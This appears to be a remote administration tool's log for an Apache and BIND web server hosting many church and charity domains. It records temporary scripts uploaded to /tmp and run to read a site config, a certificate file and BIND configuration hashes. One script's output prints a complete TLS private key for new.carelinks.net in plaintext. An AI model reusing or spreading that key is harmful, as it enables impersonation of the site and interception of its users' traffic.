         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:19)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-29 21:52:52: 

PUT: /tmp/pkp558098

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_new_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-29 21:52:52: 

chmod 755 /tmp/pkp558098; /tmp/pkp558098; rm /tmp/pkp558098

2025-12-29 21:52:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf	1190

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-29 21:52:52: 

PUT: /tmp/pkp186038

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-29 21:52:52: 

chmod 755 /tmp/pkp186038; /tmp/pkp186038; rm /tmp/pkp186038

2025-12-29 21:52:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt	5361
c1:5c:98:af:57:ae:9f:2e:7a:32:a9:e7:fc:61:47:3d

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBj8fg4k6CFh3nY7hdrSbj7/UMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI5MjA1NDIwWhcNMjYwMzI5MjA1NDE5WjAcMRowGAYDVQQD
ExFuZXcuY2FyZWxpbmtzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL1fHL/FpwwxJFiRkVdXx452W/+mhbR7HGgiyiUdt5Ee7vbTSnwRaiNXtQC5
0Sbb/cSXfqkwcZk4cknmhT09LvxCnx3ZiU+MNOKNnIgEtUHcLgZkFA2yyAwv6Ad3
aEPR84jTGEf2Kzssg+Nol0lj5rYwiYMZnPGe760w7XZtMAYwdBz9+W6LtnBI9gGr
5w9ihscIX4gXwVrSBg1keMS5KG3mj1LaamPoc91EQ0oc3DSVL3JjoK6xZLSdfgIF
aZdebvLkbeHPVvrkpAe4tMhS7iN97mZwSii8JFNMe4blgUrLwi+sL0KHvIdyjoLV
QSFXhEXSB7umOMWmQPdjklWVu3sCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUoK9qP0zxMYjFK03V0Q7xbL4IfewwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFuZXcuY2FyZWxpbmtzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzg1LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2
AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABm2wZhicAAAQDAEcw
RQIhAPhc29SwSYlsgeeUJTRBfpIRKqzWTdi6i8mY591riKdbAiApaRvkNs/suZ1y
mxcqUodLaKbrtjUTXpw0kz9rzRVKxwB+ABqLnWlKV5jImaDKiL30j8C0VmDMw2AN
H3H0af/H0ayjAAABm2wZhxsACAAABQAtqHgMBAMARzBFAiEA07lgaORLsgO+tW2e
ujUtBIPXF6mbUGtO7UgM47evFYwCIHA0Xc6+0Gs/mosXsocOcGRBUSEUBX5jq00S
vAAY1RyjMA0GCSqGSIb3DQEBCwUAA4IBAQAbC483YRxc2ZmEiVhN1jBZ8IvEjOKB
r/ZqZanuaFMswPl4zY4IY3LV1F1lOKmlRrFPtC7uJhqDfQJOI7DjhgjQmsTPM7/w
oH7GLs1XbooaU7ABCUneSr6OdEFfsNoYAmP15GvOKo66wljRYaR61lDfTtlQyGgr
TBj6SJy+iQ+MIdCIwYbzY2uzweg264AtLusbjoBiD2TW43m8pIESY9ziUepnH3pq
Ba6jBr5KgXfdvocl/fIsGp2dK/YDHH5c/jopnFwEC5tCaCFnPbfUHzJMMEKSCqC/
3Ms75WrH2wFdfpwfp0T5RL9BcBa0PAuAnYbWLiwf75YB3EtRHd0lxUHt
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9Xxy/xacMMSRY
kZFXV8eOdlv/poW0exxoIsolHbeRHu7200p8EWojV7UAudEm2/3El36pMHGZOHJJ
5oU9PS78Qp8d2YlPjDTijZyIBLVB3C4GZBQNssgML+gHd2hD0fOI0xhH9is7LIPj
aJdJY+a2MImDGZzxnu+tMO12bTAGMHQc/flui7ZwSPYBq+cPYobHCF+IF8Fa0gYN
ZHjEuSht5o9S2mpj6HPdRENKHNw0lS9yY6CusWS0nX4CBWmXXm7y5G3hz1b65KQH
uLTIUu4jfe5mcEoovCRTTHuG5YFKy8IvrC9Ch7yHco6C1UEhV4RF0ge7pjjFpkD3
Y5JVlbt7AgMBAAECggEARsvpHpTRJ9Czat04/fNWKp97M29Y6ylfbFsdQZUDjKCI
7AQAA7Qq/v2KMLRHSgTSsY2Fj9EJlyOwLoqc41EdYLezbuBl4jRjjRMuIvfHn9Cl
8EO374sYGN5MG4Z7l2dFabCpkjWo4d15jSoL7ScJGLG6pyWLNBWcOx5gmHanjpgm
zjyJ1OBSdyGVNJiRXe9LATLT7fqhZNlDj+ARGpolNW2/Gnus3RYgZQVsGiPSJU4F
jqlsZQI3/r2SUH3/lv1Kci4oktsCYhJO3RFts+q8EBe/8vnrQpqib1jbEtqQl1Bu
VMTbI4iei3qYqCg/ihizBfSZgz4FZTO11FIuqpbakQKBgQD51qnwQiBwHcqBrrJr
MhD6T0q0qYO8X7/XYQ2CkWH65pKthIZBh+LgdbzDI1tUkw5JdMP4iq+wjV68EgZ6
kx4j6ePo2uEQuHH1UO1Y8Shwkd+07UvG0bKK6ybIbpWNRYBxSgcnxzSCAAbe8nOc
e0mOL6QifCSG2urRUDL54j6MAwKBgQDCCrHc9hsZcONnoJQMt8/R8gr+8MYTF3v1
jKyLyRYrPq3pY6QRB194WgAWB67K5b5purjGR7v7AV+o1DW5mo4JRwoKdHeg7mct
5n0stBXq4iWjJxoak8wD21xEmsQq9d81YkiSKUvJ1x7ojY+xbx++U4mA5t2wFgpS
iFskY/HFKQKBgHmuSmBA5KmWaN3WZwF8hfZTjhAFi6rAe5/7nefcxPq9N+0Y4Yaj
FyW5UjE8VCwR32B5ZUT0zvLPN7ejk9I5OvHE5YKwr/ND0gTn4GF0OvzwnyLwe/qe
gTXVp7Lw4RfIJPGIW4nNJM64EqCdNx+ckEuW+nrtOaEQmFNPmzRHM61fAoGBAKgW
YZraKgFw09zZskYOGF1ygWn0onC5YC0GThXM/II7iqVpJh+GNoJn3Dk5MIYcXET0
dcl1LHaz6uyx31RHeRC6VA1YdKSYwBJ33ikSWwYcHqRlY+xv6UPSCux28MWSNWfm
Gp1aXoea7PBgaIA4ldPmQ2/BDXrSrOBvtBwi47V5AoGAe7nBCGe+aMIDCbHo+r8U
aJ3k5OGbg08l6DiDx3DELSOTgDYMTdOWd3cDr/g8iu5KBuFiv2aNGi8XT7Ik5xi+
dH5eOyv0F9lmlIBGW7XKY0ec7C/geIzU5oegGRwTN4Sd41FYZ4yLJ22YYNUtKzn7
TI3IQB8mdbT0kqVvQ9cYKB0=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-29 21:54:05: Establishing a connection
2025-12-29 21:54:12: Establishing a connection
2025-12-29 21:54:12: 

PUT: /tmp/pkp841883

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-29 21:54:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp841883; rm /tmp/pkp841883'

2025-12-29 21:54:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
